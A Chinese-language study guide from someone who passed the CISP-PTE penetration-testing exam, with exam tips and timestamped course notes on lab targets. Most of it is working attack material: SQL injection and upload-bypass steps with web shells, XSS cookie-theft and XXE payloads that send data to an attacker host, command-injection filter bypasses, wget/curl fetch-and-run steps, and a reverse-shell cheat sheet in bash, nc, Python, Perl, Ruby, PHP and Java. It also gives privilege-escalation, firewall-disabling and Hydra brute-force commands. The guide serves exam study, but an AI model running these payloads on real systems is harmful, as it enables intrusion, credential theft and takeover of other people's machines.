有幸在今年8月份成功通过CISP-PTE认证,以下是我遇到的一些常见问题,以及一些考点内容以及总结
考试题型
20道选择题 (20分)
5道基础题 (50分) 一题一个Key
1道综合大题 (30分) 三个key
线下考试
这次考试是在中国上海,现场大概有30人左右,分上午场和下午场
进入考场时候多多少少还是有点紧张的,3个小时过的是非常快的,最后以98分拿下
题目难度是有一点,总的来说的确能学到东西的…
注意:考场内是不允许携带外设键盘的,现场会至少有一个360安全专业人员监考.所有人电脑都会提前装一个奇安信的一个考试exe,刚开始的时候会让你连接一个WIFI,我们将会通过WIFI进行做题,做题期间你的电脑将被全程监控并且一些退出快捷键也是全部锁死(有点像勒索病毒那种界面),想要重启必须直接拔电源。中途可以上厕所,需要监考官陪同
一定要快速上手这个exe,多点点,多翻一下,它整体就类似于一个浏览器里面套了一个虚拟机,就类似于TryHackMe那种浏览器套虚拟机
我踩过的一些坑
1.sql注入,有些sql注入并不是让你上传webshell或者注入账密,而是让你利用sql注入读Key
2.AntSword只能连接REQUEST请求和POST请求的一句话木马,并不能连接GET请求的木马
整理的笔记,这里的环境无法提供,涉及到法律保护
!!!认真审题!! !!多看源码!! !!想想当前环境有什么洞!! !!时时刻刻打开notepad记录!!
靶场环境
上课环境-pte-100.100-administrator-123.com [
192.1 68.101.134
]
CentOS7-100.150-root [192.1 68.101.150
]
XSS靶机 [192.168.101.141
]
靶机 [192.168.101.140
]
靶机2 [192.168.101.136
]‘
WebShell应急响应靶场 [192.168.101.142
]
pwnlab靶场[192.168.101.143
]
=01=
考试须知 [9:50
]
网络攻击技术 [25:48
]
七个渗透阶段 [35:59
]
1.前期交互
2.情报收集/信息收集
3.威胁建模
4.漏洞分析
5.漏洞利用/漏洞攻击
6.后渗透(深度利用)
7.书面报告
靶场:上课环境-pte-100.100-administrator-123.com 环境安装 [1:01:19
]
信息收集 [1:26:26
]
Google_Hacking [``1:40:17-1:58:16``] ————练习
whois [``2:10:11``]
子域名的概念 [``2:18:41``]收集子域名方法 [``2:26:00``] Google_Hacking [``2:26:43``] -site 排除xxx域名 搜索引擎DuckDUckgo [``2:30:50``]子域名爆破:子域名挖掘机 [``2:32:37-2:41:46``] ————练习
练习题 [2:49:20-2:54:14
] ————练习
=02=
服务器信息收集 [3:43
]
nmap [``5:25-48:40``] ————练习
网站目录结构 [``1:19:40``].SVN泄露 .git泄露 网站备份文件压缩文件-test.rar .DS_store文件 WEB-INF文件 配置文件泄露-.config/xx.config.bak/config.php/robots.txt
御剑 [1:28:50-1:34:21
] ————练习
Burp工具练习 [1:44:49-2:04:13
] ————练习
HTTP报文 [2:34:04
]
练习题 [3:00:08-3:07:31
] ————练习
=03=
url介绍: 统一资源定位符 [3:22
]
SQL注入 [11:09-46:11
] ————练习
SQ注释符 [59:10-1:09:54
] ————练习
1.内联注释:注释中的语句会被执行 /*!xxx*/
2.# 字符到行尾
3.--空格 到行尾
4./*xxxx*/
万能密码 [1:29:04-1:41:32
] ————练习
SQL注入五个维度 [1:48:17
]
1.基于注入点值的属性[``数字型,字符型``][``1:49:15``]
2.基于注入点的位置[``GET型,POST型,Cookie型,HTTP Head型``] [``1:53:21``]
3.基于注入的程度和顺序[``一阶注入,二阶注入``] [``1:57:49-2:12:09``] ————练习
4.基于从服务器返回的响应[``有回显:[``联合查询注入,报错注入,堆叠注入``],无回显:[``布尔盲注,延时盲注``]``] [``1:49:15``]
5.特殊业务场景[``update注入,insert注入,delete注入,order by 注入,宽字节注入,HTTP分割注入,HTTP参数污染``] [``1:49:15``]
=04=
Union注入练习 [5:44-19:30
] ————练习
报错注入 [32:00-56:21
] ————练习
布尔盲注 [ 1:11:52-1:35:00
] ————练习
时间盲注 [ 1:51:21
]
SQL注入练习CISP-PTE [02:05:46-02:31:20
] ————练习
SQL注入的读写操作 [02:05:46-02:31:20
] ————练习
靶场 CentOS7-100.150-root [2:57:29-3:06:37
] ————练习
=05=
CentOS7-100.150-root 1081端口的SQL注入 [2:03-35:39
] ————练习
CentOS7-100.150-root 81端口的SQL注入 [52:57-1:08:27
] ————练习
SQMAP [52:57-1:41:39
] ————练习
练习题 [2:02:28-2:20:24
] ————练习
文件上传(DVWA)Level:Low[2:21:29-2:42:52
] ————练习 上课环境-pte-100.100-administrator-123.com
文件上传(DVWA)Level:Low assert 动态拼接执行 [2:50:52-2:59:13
] ————练习 上课环境-pte-100.100-administrator-123.com
=06=
文件上传(Pikachu)绕过客户端检测 [4:19-26:55
] ————练习 上课环境-pte-100.100-administrator-123.com
文件上传(Pikachu)Mime检测 [37:06-49:49
] ————练习 上课环境-pte-100.100-administrator-123.com
文件上传(Pikachu)图片马[58:32-1:17:54
] ————练习 上课环境-pte-100.100-administrator-123.com
文件上传(82端口)文件内容检测马[1:27:40-1:47:27
] ————练习 CentOS7-100.150-root
文件上传() 黑名单检测 [2:06:51-
] windows大小写不敏感,如果是Linux进行大小写绕过,则Php文件可能会被直接下载 ————练习 C:\upload-labs-env 上课环境-pte-100.100-administrator-123.com
文件上传(10082端口)特殊可解析后缀名[2:29:27-2:35:33
] ————练习 CentOS7-100.150-root
文件上传(Upload-lab 11)%00截断 php<5.3.4 [2:47:59-3:02:01
] ————练习 上课环境-pte-100.100-administrator-123.com
=07=
文件包含 [13:50-30:09
] 上课环境-pte-100.100-administrator-123.com
文件包含一些利用条件 [30:09-02:29:54
]
1.Vlunhub Tomat靶场日志投毒利用文件包含Getshell(/var/log/auth.log) [``47:59-53:48``] 扩展练习可做可不做
2.phpmyadmin利用session文件包含getshell [``56:10-01:00:05``](1).文件包含 pikachu file inclusion - local 上课环境-pte-100.100-administrator-123.com [``练习``]
3.伪协议(重点) [``01:30:21-01:00:05``] ————练习 上课环境-pte-100.100-administrator-123.com
(php伪协议是支持的协议与封装的协议)1.file:// [``绝对路径读``] //php代码封装好的函数代码实现 [``01:32:12``]2.php://filter/read=convert.base64-encode/resource=xxx.txt [``相对/绝对路径``] [``01:37:59``]3.data://text/plain [``allow_url_fopen=on 并且 allow_url_include = on 可以执行任意代码``] [``执行php代码``][``01:52:06``](1).file=data://text/plain,<?php phpinfo();?>(2).file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+4.php://input [``allow_url_fopen=on 并且 allow_url_include = on``] [``POST传递代码执行``] [``01:57:25``]
Vlunhub Tomat靶场利用文件包含 [47:59-47:43
] 扩展练习可做可不做
5.zip://压缩文件绝对路径#压缩文件内的子文件名 [``php>=5.3.0``] [``读取压缩包内文件内容``] [``02:11:31``]6.phar://[``压缩包绝对/相对路径``]/[``压缩包内的子文件名``] [``读取压缩包内文件内容``] [``php>=5.3.0``] [``02:16:29``]
练习题 [02:29:54-02:44:54
]
=08=
data伪协议包含 [02:22
] ————练习 CentOS7-100.150-root [1083
] [基础题目之文件包含
]
有后缀有限制 拼接.html的话
windows 256不处理 ././././././phpinfo.txt
linux 4096 不处理
data伪协议包含 [16:27
] ————练习 CentOS7-100.150-root [83
] [文件包含,有后缀
]
data伪协议包含 [23:15
] ————练习 上课环境-pte-100.100-administrator-123.com [http://192.168.101.134/bhmoni/
]
中间件安全
==apache==
1. .htaccess [``41:13-01:00:20``]上课环境-pte-100.100-administrator-123.com ————练习 [``upload-lab 4``](1).Addtype application/x-httpd-php .jpg(2).<FilesMatch "hack">Sethandler application/x-httpd-php</FIlesMatch>
2.apache日志 linux /var/log [``01:09:51``]
3.向前解析漏洞 123.php.a1.a2.a3 [``upload-lab 4``]
4.日志分析 [``01:16:23``] ————练习 上课环境-pte-100.100-administrator-123.com [``http://192.168.101.134/PTE/6.rizhi/``]
curl -o 1.txt http://192.168.101.134/PTE/6.rizhi/rizhi.log
正则表达式:"*.*(hack|back|admin|shell).*\.php.*" 200
5.日志分析 [``01:28:16``] ————练习 CentOS7-100.150-root [``1085``]
172\.16\.12\.12.*"*.*(hack|back|admin|shell).*\.php.*" 200
== IIS解析漏洞 == [``01:56:30``](1).目录解析 网站目录下文件夹名字为xx.asp的文件夹,其目录内任何扩展名的文件都会被IIS当作asp文件来解析并执行(1).文件解析 IIS6.0下,分号后面的不被解析,也就是1.asp;1.jpg 会被服务器看成是1.asp(3).解析文件类型 .asp .asa .cer .cdx
== Nginx解析漏洞 ==(1).上传hack.jpg,访问hack.jpg/.php(2).xxx.jpg%00.php(影响版本[0.5-0.7(<=0.7.65),0.8(<0.8.37)])
暴力破解
1.BURP爆破[``02:09:36-02:26:09``] ————练习 CentOS7-100.150-root [``1085``] http://192.168.101.150:1085/adminlogin.php
2.hydra爆破rdp [``02:37:38-02:44:08``] ————练习 hydra.exe -L u.txt -P p.txt rdp://192.168.101.134 上课环境-pte-100.100-administrator-123.com
练习题 [02:44:14-03:04:26
]
=09=
Tomcat:8080 Authorization爆破Custom iterator模块 [5:01-29:21
] [https://www.mozhe.cnSS/bug/detail/46
]
XSS [48:51
]
(1).XSSdemo [``1:01:41``] 上课环境-pte-100.100-administrator-123.com
(2).Pikachu-反射,存储XSS [``1:11:09-1:48:10``] 上课环境-pte-100.100-administrator-123.com
(3).Pikachu-DomXSS [``1:48:19-2:08:48``] 上课环境-pte-100.100-administrator-123.com
(4).XSS盲打 [``2:17:34-``] 上课环境-pte-100.100-administrator-123.com confirm(123)#弹出带有确认取消的框 prompt(123)#弹出输入框
XSS利用 [2:25:34
]
# <script>document.write('<img src="http://ip:8000/?'+document.cookie+'">')</script>
python2 -m SimpleHTTPServer 监听端口
python3 -m http.server 监听端口 -d 目录
(1).Pikachu-存储型xss窃取cookie [``2:25:39``] ————练习 上课环境-pte-100.100-administrator-123.com
=10=
存储型XSS窃取Cookie [0:59-23:47
] ————练习 XSS靶机192.168.101.141
xss防御 htmlspecialchars
练习题 [35:20-23:47
] js函数不可以进行大小写转换,/可以替换空格和’,"-
CSRF:跨站请求伪造
(1).Get型CSRF[``DVWA|Pikachu``] [``01:10:10-23:47``] ————练习 上课环境-pte-100.100-administrator-123.com
CSRF防御[01:22:22
]
(1).验证Referer字段
(2).添加Token验证
(3).二次验证
(4).用户养成良好习惯
练习题 [01:35:30-01:42:04
]
反序列化[02:01:45
]
当类中有private参数时序列化字符串格式为 %00类名%00成员名
(1).反序列化 http://49.234.52.232:84/ http://192.168.101.150:84/————练习 [``02:03:05-02:17:32``]
练习题 [02:29:47-01:42:04
]
=11=
RCE[01:22:22
]
一些命令执行函数 [16:25
] 靶机2[192.168.101.136
]
system() 主动返回命令结果passthru() 主动返回命令结果exec() 主动返回命令结果最后一行数据,如果显示全部数据必须exec($c,$d);var_dump($d);shell_exec() 不主动返回命令结果.需要echo出结果
命令带入 [``27:09``]
Windows:
a&b 前面和后面的命令都要执行,无论前面真假a&&b 如果前面为假,后面的命令不执行,如果前面为真则执行两条命令a|b 直接执行后面的语句a||b 如果前面的命令是错的那么执行后面的命令,否则只执行前面的命令
Linux
a&b 如果前面的命令错误后面的命令执行,前后都正确命令都执行a&&b 前面的命令成功后再执行后面的,前面的命令执行不成功后面的也不执行a|b 前面的命令不管正确与否都执行后面的命令a||b 表示上一条命令执行失败后,才执行下一条命令,如果上一条命令执行成功后,后面的命令无法执行%0a 换行符相当于敲完一条命令后换行; 前面和后面没有影响,哪个正确就执行哪个,都错误就都不执行
Linux查看命令绕过 [57:18
]
cat<flag.php{cat,flag.php}URL上过滤了空格 %20 %09cat$IFS'flag.php'cat${IFS}flag.phpc`1`at<flag.phpca"t"<flag.phpca't'<flag.phpc\a\t<flag.phpa=l;b=s;$a$ba=flag;b=.php;cat $a$b`echo d2hvYW1pCg== | base64 -d` 过滤了whoami情况绕过cat less more tac head tail od cp mv vi vim strings od -tc ./key.cispcurl file:///var/www/html/rce/RemoteCommandExecute/flag.phpawk "{print}" /var/www/html/rce/RemoteCommandExecute/flag.phpawk "{print}" /var/www/html/rce/RemoteCommandExecute/flag.*/???/c?t flag.php
Windows查看命令绕过 [``1:10:13``]w"h"o"a"m"iwho^ami(whoami)((whoami))set a=who set b=ami %a%%b%set a=whoami %a:~0% 取出所有值 %a:~2% 取出除了前面两个的后面所有值 oamiset a=abc wh^o^%a:~0,1%mi
CTFHUB RCE [1:15:59
] ————练习
反弹shell[01:36:56-1:44:45
]
监听VPS命令
nc -lvvp 7777
被控
bash -i >& /dev/tcp// 0>&1
限制长度15的命令执行[1:57:35-1:44:45
] ————练习
echo \<?php>1
echo Eval\(>>1
echo \$_GET>>1
echo \[``1\``]>>1
echo \)\;>>1
echo \?\>>>1
mv 1 1.php
代码执行 [2:21:41
]
eval
assert [php7.0.29前是函数,php7.0.29后是构造器(不支持动态调用)
]
preg_replace [/e修正符会将参数当作php代码执行,完成匹配替换后才执行php代码
]
create_function [````]
$a = create_function('$a','print $a;');
<?php function a($b){echo $b;}
?>
${}
"${phpinfo()}";代码执行phpinfo();
http://192.168.101.136/rce/RemoteCodeExecute/example.php 练习 [2:38:50
]
<?php function a($name){ echo $name.'.'的美元价格是'.$price.'; } ?>
http://192.168.101.136/pikachu/vul/rce/rce_eval.php [2:42:21
] 练习 反弹shell
攻击者:
echo ‘bash -i >& /dev/tcp/192.168.101.140/10032 0>&1’ > shell.sh
python3 -m http.server 80 -d ./
python2 -m SimpleHTTPServer 80
受害者网址:
system(‘wget -P /tmp http://192.168.101.1/shell.sh’);
system(‘curl -o xxx http://192.168.101.1/shell.sh’);
攻击者:
nc -lvvp 10032
受害者网址:
system(‘bash /tmp/shell.sh’);
=12=
逻辑漏洞
发送短信验证码 [``14:48``]phone=xxx,xxx,xxx多发
刷赞X-Forwarded-ForReferer
邮箱轰炸修改Cookie值绕过发送次数限制大小写绕过邮箱轰炸
用户名枚举 [29:25
]
未授权访问 [36:41
]
会话重用 [38:06
]
会话固定 [38:58
] ————练习 http://192.168.101.140/Sessionsecurity/session
空口令 [47:57
]
越权漏洞 [49:02
]
水平越权 [``52:01``] ————练习 http://192.168.101.134/4.0.18/
垂直越权 [``54:07``] ————练习 http://192.168.101.134/fiyo_cms_2.0.6.1/dapur/
验证码问题 [1:13:18
]
验证码复用 [``一定要卡住再爆破``]
验证码可回显
验证码变种(URL编码,BASE64(尾部有等号),BASE32(0-9+A-Z大写组成),MD5)
万能验证码 888888 000000 666666
验证码暴力破解 纯数字 4-5位左右可以尝试爆破
验证码空
登陆验证绕过 返回包中False修改为True
密码白给 F12
交易支付 [1:35:31
]
单价反冲/注册邀请码刷钱 练习 http://192.168.101.134/damicmsv552/ http://192.168.101.134/4.0.18/
金额单位 0.019 只需要支付0.01就可以买
修改支付接口
无限使用优惠券 练习 http://192.168.101.140/niushop/
前端限购商品
无限制试用
越权支付
充值中放弃订单未失效
敏感信息泄露
robots.txt
报错信息通过对方响应包判断对方中间件类型
备份文件www.rarphpinfo.php 搜索disable,open_basedir,DOCUMENT_ROOT,upload_tmp_dir,libxml Version(2.9之前默认开启外部实体引用的)扫到对方开启了3306的话,手动在url后尝试拼接phpmyadmin
目录列表目录穿越 /config../../../../../etc/passwd
调试信息
临时文件
页面源代码 考试时候随时查看页面源代码
账户页面
版本控制系统
=13=
黑盒测试[2:39-37:16
][WebShell应急响应靶场
]
netdiscover 扫描内网主机
扫端口!扫目录!一定不能忘!
SUID提权和sudo提权一定要会
.bash_history 历史命令记录
如果页面源代码不是很多的情况下可以尝试View-source: 进行测试,这样即使隐藏在页面的数据也可以看得到,而且速度很快
流程
1.扫端口,扫目录!!数据包修改X-Forwarded-For:127.0.0.1绕过本地验证
2.http://192.168.101.142/?page=register注册任意用户
3.http://192.168.101.142/index.php?page=profile&user_id=381其中id存在水平越权
4.利用水平越权用户账密信息整成字典爆破对方SSH端口
5.hydra -L u.txt -P p.txt ssh://192.168.101.142
6.sudo提权
约束注入 mysql设置有一个sql_mode选项,sql_mode设置为default(默认) Mysql对插入超长的值只会提示warning,而不是error,这样会导致安全问题
show GLOBAL VARIABLES like ‘%secure%’;
结果
: 没有安全路径,可以写文件操作
secure_auth OFF
secure_file_priv
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuMTA0LzgwMDAgIDA+JjE=}|{base64,-d}|{bash,-i}'
黑盒测试 [1:24:27-1:58:11
][Pwnlab靶场
]
流程
1.端口扫描!!,目录扫描!!
2.发现config.php数据库文件,php伪协议读取,连接数据库
3.登录页面 http://192.168.101.143/?page=upload
4.读取upload页面源代码,只能上传图片,利用到文件包含,此时读其他文件index页面源码,发现一个cookie包含点lang
5.上传图片木马
6.利用主页cookie中lang包含木马图片执行反弹shell
?1=system(“/bin/bash%20-c%20’bash%20-i%20>%26%20/dev/tcp/192.168.101.128/10032%200>%261’”);
SUID提权
SUID权限文件收集
靶机
:
find / -user root -perm -4000 -exec ls -ldb {} \;
假设find命令有SUID.
靶机
:
touch 1
find 1 -exec whoami \;
sudo提权
靶机
:
vim 1.php
靶机
:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.101.128/10032 0>&1'");?>
靶机
:
sudo php 1.php
攻击者
:
nc -lvvp 10032
=14= 没回 放
=15=
SSRF [2:19]
危害内网探测窃取本地和内网敏感数据攻击服务器本地或内网应用跳板攻击绕过安全防御漏洞协议http/sfile协议dict协议gopher协议
gopher [21:04]
gopher://<host>:<port>/<gopher-pawth>_后接TCP数据流
gopher的默认端口70
发起post请求,回车换行需要使用%0d%0a,如果哦多个参数&也需要URL编码
转换规则:
1.问号(?)需要转码为URL编码%3f
2.回车换行%0d%0a,如果直接用工具转可能只有%0a
3.在HTTP包的最后要加%0d%0a,代表消息结束
get
gopher://192.168.101.140:80/_GET%20/SSRF/get.php%3fname=martin%20HTTP/1.1%0d%0aHost:%20192.168.101.140%0d%0a
post
gopher://192.168.101.1:88/_POST%20/%20HTTP/1.1%0d%0aHost:%20192.168.101.1:88%0d%0aContent-Length:%208%0d%0a%0d%0a1=martin
Redis未授权攻击
DICT协议[45:45
]
dict://server:ip/命令:参数
向服务器的端口请求为[命令:参数],并在末尾自动补上\r\n(CRLF),也就是只执行一条命令
通过dict协议需要一条条的执行命令,二gopher协议执行一条命令就行
XML外部实体注入 [1:36:04
]
格式良好的XML文档的基本规则
- 必须要有声明语句
- XML文档必须有且仅有一个根元素
- XML文档标签大小写敏感
- XML文档属性用双引号
- XML文档标签成对出现
- XML文档元素正确嵌套
- 默认打开方式就是浏览器
DTD [1:40:04
]
DTD(document type definition) 文档类型定义
DTD用来约束xml文档格式,通俗就是语法
#PCDATA 里面会被解析
#CDATA 里面不会被解析
一般实体
<!ENTITY 实体名 "实体内容">
应用方式:
&实体名;
参数实体
<!ENTITY %实体名 "实体内容">
应用方式:
%实体名;
内部DTD
<!DOCTYPE 根元素 [元素声明]>
示例
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [<!ENTITY name "Martin">
]>
<note>
<name>&name;</name>
<age>19</age>
</note>
示例
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [<!ENTITY name SYSTEM "file:///etc/passwd">
]>
<note>
<name>&name;</name>
</note>
XXE练习 pikachu [1:58:15-1:59:23
]
外部DTD
<!DOCTYPE 根元素 SYSTEM "文件名">
示例1
受害者
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE code SYSTEM "http://hacker/hack.dtd">
<code>&file;</code>
攻击者http://hacker/hack.dtd
:
<!ENTITY file SYSTEM "file:///etc/passwd">
分割线---------------------------------------------------------------------
示例2
受害者
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE code [
<!ENTITY % file SYSTEM "http://hacker/hack.dtd">
%file;
]>
<code>&f;</code>
攻击者http://hacker/hack.dtd
:
<!ENTITY f SYSTEM "file:///etc/passwd">
带回回显参数 [2:02:23
]
示例
受害者
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE code [
<!ENTITY % dtd SYSTEM "http://hacker/hack.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/key.php">
%dtd;
%send;
]>
攻击者http://hacker/hack.dtd
:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://hacker?data=%file;'>">
%all;
XML REC [2:07:23
]
安装了expect扩展才可以进行RCE
示例
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE code [
<!ENTITY cmd SYSTEM "expect://id">
]>
<code>&cmd;</code>
XML DDOS [2:08:43
]
Json XXE [2:09:57
]
Content-Type application/json改为application/xml
=16= 没回放
综合题
netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
然后更改administrator用户密码
net user administrator mima
!!!!重点!!!!
在进行反弹webshell时候
一定是用这条
system("/bin/bash+-c+'bash+-i+>%26+/dev/tcp/192.168.101.128/10033+0>%261'");
如果不加/bin/bash -c 就反弹失败
burp爆破提取结果作为字典流程
将数据包发送到测试器模块->选项->Grep_Extract选择提取响应值->开始爆破->保存字段user的内容作为字典->保存->结果表->取消保存标题行->勾选包括列当前的正则表达式user->选择目录保存为user.txt
文件上传技巧
一定要确认题目需不需要图片马,只有解析漏洞才可以利用图片木马
1.首先上传正常图片,获取到图片地址
2.上传一句话木马
文件名:1.php
MIME:image/png
内容添加:GIF89a
3.二次
文件名:1.pHP
MIME:image/png
内容添加:GIF89a
4.三次
文件名:1.php空格
MIME:image/png
内容添加:GIF89a
4-1 特性绕过 1.php.
4-2 特性绕过1.php::$DATA
4-3 双写绕过 利用中间件漏洞,1.php.xxxxxxx.xxxx.xxx.xxx向前解析漏洞
4-4 双写绕过1.pphphp
5.四次
文件名:1.php3 (php4,php5,phtml,phtm)
MIME:image/png
内容添加:GIF89a
6.五次 添加.htaccess
--.htaccess--
第一种:AddType application/x-httpd-php .png--所以的png解析成php
第二种:<FilesMatch "hacker">SetHandler application/x-httpd-php</FilesMatch>--将文件名包含hacker解析成php
7.六次 尝试00截断上传
1.jpg%00.php
或者在路径
/upload/1.php%00
filename=“shell.png”
[在POST请求中需要将%00解码,因为在get请求中会自动帮我们解码]
8.第七次尝试
使用命令将木马拼接到正常图片后
copy normal.png/b + shell.php/a hacker.png
上传图片木马
文件名:1.png
MIME:image/png
内容添加:GIF89a 一句话木马
[打开画图工具可以保存多种格式的图片]
文件上传之.user.ini
auto_prepend_file=1.jpg
:在文件前插入
auto_append_file=1.jpg
:文件最后插入
我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。
XXE注意点
注意!使用file协议读取文件的时候注意格式,三
斜杠
file:///c:/key.php
反弹shell几种方法
Bash
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
#bash -i 打开一个交互的bash
#>& 将标准错误输出重定向到标准输出
#/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
#0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
exec 0&0 2>&0
0<&196;exec 196<>/dev/tcp/x.x.x.x/4444; sh <&196 >&196 2>&196
/bin/bash -i > /dev/tcp/x.x.x.x/8080 0<&1 2>&1
exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done
telnet
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
//x.x.x.x攻击者IP,监听4444端口的终端中执行命令可以在另一个5555终端中看到命令执行结果
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p
nc
nc -e /bin/bash x.x.x.x port
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f
nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555
//x.x.x.x攻击者IP,监听4444端口的终端中执行命令可以在另一个5555终端中看到命令执行结果
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
Perl
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
PHP
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
Java
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {// TODO Auto-generated method stubRuntime r = Runtime.getRuntime();String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};Process p = r.exec(cmd);p.waitFor();
}
}
综合题技巧
存在文件包含的题目:1.伪协议读取config.php等页面源码 2.文件上传图片马解析
同时存在 登录,注册 页面的题目登录页面存在万能密码登录的可能性不是很大。如果只有一个登录页面,要么读config.php连数据库,要么就是万能密码进去。
学会看开放端口
如果一台机子nmap扫到22端口80开放
1.极大概率从web服务拿到用户名字典密码字典。进行22端口爆破
2.Hydra 22端口上TOP1000字典爆破
如果一台机子nmap扫到3306端口80开放
1.大概率web服务泄露了config.php,连接数据库,拼接http://127.0.0.1/phpmyadmin
2.Hydra 3306端口上TOP1000字典爆破
Hydra
- 21端口爆破命令
21端口主要用于FTP(File Transfer Protocol,文件传输协议)服务,
FTP服务主要是为了在两台计算机之间实现文件的上传与下载,
命令:
hydra -L /root/user.txt -P /root/password.txt ftp://192.168.0.1 -vV
- 22端口爆破命令
22端口是Linux操作系统 SSH 远程登录协议,
类似于Windows的 3389,
命令:
hydra ssh://192.168.0.1 -L /root/user.txt -P /root/password.txt --vV
- 1433端口爆破命令
1433端口是SQL Server默认的端口,
SQL Server服务使用两个端口:TCP-1433、UDP-1434。
其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。,
命令:
hydra 192.168.0.1 mssql -L /root/user.txt -P /root/password.txt -vV
- 3306端口爆破命令
3306 是MySQL的默认端口,
命令:
hydra 192.168.0.1 mysql -L /root/user.txt -P /root/password.txt -vV
- 3389端口爆破命令
3389 是Windows远程桌面的默认端口,
命令:
hydra 192.168.0.1 rdp -L /root/user.txt -P /root/password.txt -vV
- smb服务爆破命令
SMB(Server Message Block) 是一种通信协议,
一般使用端口 139,445
命令:
hydra smb://192.168.0.1 -L /root/user.txt -P /root/password.txt -vV
- imap服务爆破命令
IMAP(Internet Mail Access Protocol,Internet邮件访问协议) ,
使用的端口是 143
命令:
hydra 10.36.16.18 imap PLAIN -L /root/user.txt -P /root/password.txt
注意
zip协议:zip://[绝对路径]
phar协议:phar://[相对/绝对路径]
SQL注入